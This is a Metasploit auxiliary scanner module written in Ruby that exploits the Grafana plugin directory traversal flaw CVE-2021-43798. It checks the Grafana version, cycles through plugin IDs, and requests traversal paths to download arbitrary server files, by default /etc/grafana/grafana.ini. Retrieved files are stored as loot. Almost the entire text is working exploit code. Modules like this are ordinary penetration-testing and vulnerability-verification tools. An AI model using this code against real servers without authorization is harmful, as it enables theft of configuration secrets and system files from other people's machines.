## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Grafana Plugin Path Traversal', 'Description' => %q{ Grafana versions 8.0.0-beta1 through 8.3.0 prior to 8.0.7, 8.1.8, 8.2.7, or 8.3.1 are vulnerable to directory traversal through the plugin URL. A valid plugin ID is required, but many are installed by default. }, 'Author' => [ 'h00die', # msf module 'jordyv' # discovery ], 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] }, 'DisclosureDate' => '2021-12-02', 'References' => [ ['CVE', '2021-43798'], ['URL', 'https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p'], ['URL', 'https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/'], ['EDB', '50581'], ['URL', 'https://github.com/jas502n/Grafana-CVE-2021-43798'], ['URL', 'https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce'], ['URL', 'https://labs.detectify.com/security-guidance/how-i-found-the-grafana-zero-day-path-traversal-exploit-that-gave-me-access-to-your-logs/'] ] ) ) register_options( [ Opt::RPORT(3000), OptString.new('TARGETURI', [ true, 'Path to Grafana instance', '/']), OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/grafana/grafana.ini']), OptInt.new('DEPTH', [true, 'Traversal depth', 13]), OptPath.new('PLUGINS_FILE', [ true, 'File containing plugins to enumerate', File.join(Msf::Config.data_directory, 'wordlists', 'grafana_plugins.txt') ]), ] ) end def print_progress(host, current, total) print_status("#{host} - Progress #{current.to_s.rjust(Math.log10(total).ceil + 1)}/#{total} (#{((current.to_f / total) * 100).truncate(2)}%)") end def check res = send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) return Exploit::CheckCode::Unknown unless res && res.code == 200 # We need to take into account beta versions, which end with -beta. See: https://grafana.com/docs/grafana/latest/release-notes/ # Also take into account preview versions, which end with -preview. See https://grafana.com/grafana/download/10.0.0-preview?edition=oss for more info. /"subTitle":"Grafana v(?\d{1,2}\.\d{1,2}\.\d{1,2}(?:(?:-beta\d)?|(?:-preview)?)) \([0-9a-f]{10}\)",/ =~ res.body return Exploit::CheckCode::Safe unless full_version # However, since 8.3.1 does not have a beta, we can safely ignore the -beta suffix when comparing versions # In fact, this is necessary because Rex::Version doesn't correctly handle versions ending with -beta when comparing if /-beta\d$/ =~ full_version version = Rex::Version.new(full_version[0..-7]) elsif /-preview$/ =~ full_version version = Rex::Version.new(full_version[0..-9]) else version = Rex::Version.new(full_version) end if version.between?(Rex::Version.new('8.0.0-beta1'), Rex::Version.new('8.0.7')) || version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.8')) || version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.7')) || version.between?(Rex::Version.new('8.3.0'), Rex::Version.new('8.3.1')) print_good("Detected vulnerable Grafana: #{full_version}") return Exploit::CheckCode::Appears end print_bad("Detected non-vulnerable Grafana: #{full_version}") return Exploit::CheckCode::Safe end def run_host(ip) check_code = check return unless check_code == Exploit::CheckCode::Appears f = File.open(datastore['PLUGINS_FILE'], 'rb') total = f.readlines.count f.rewind f = f.readlines f.each_with_index do |plugin, i| plugin = plugin.strip print_progress(target_host, i, total) vprint_status("Attempting plugin: #{plugin}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'public', 'plugins', plugin, '../' * datastore['DEPTH'], datastore['FILEPATH']) }) next unless res && res.code == 200 print_good("#{plugin} was found and exploited successfully") vprint_good(res.body) path = store_loot( 'grafana.loot', 'application/octet-stream', ip, res.body, File.basename(datastore['FILEPATH']) ) print_good("#{rhost}:#{rport} - File saved in: #{path}") break end end end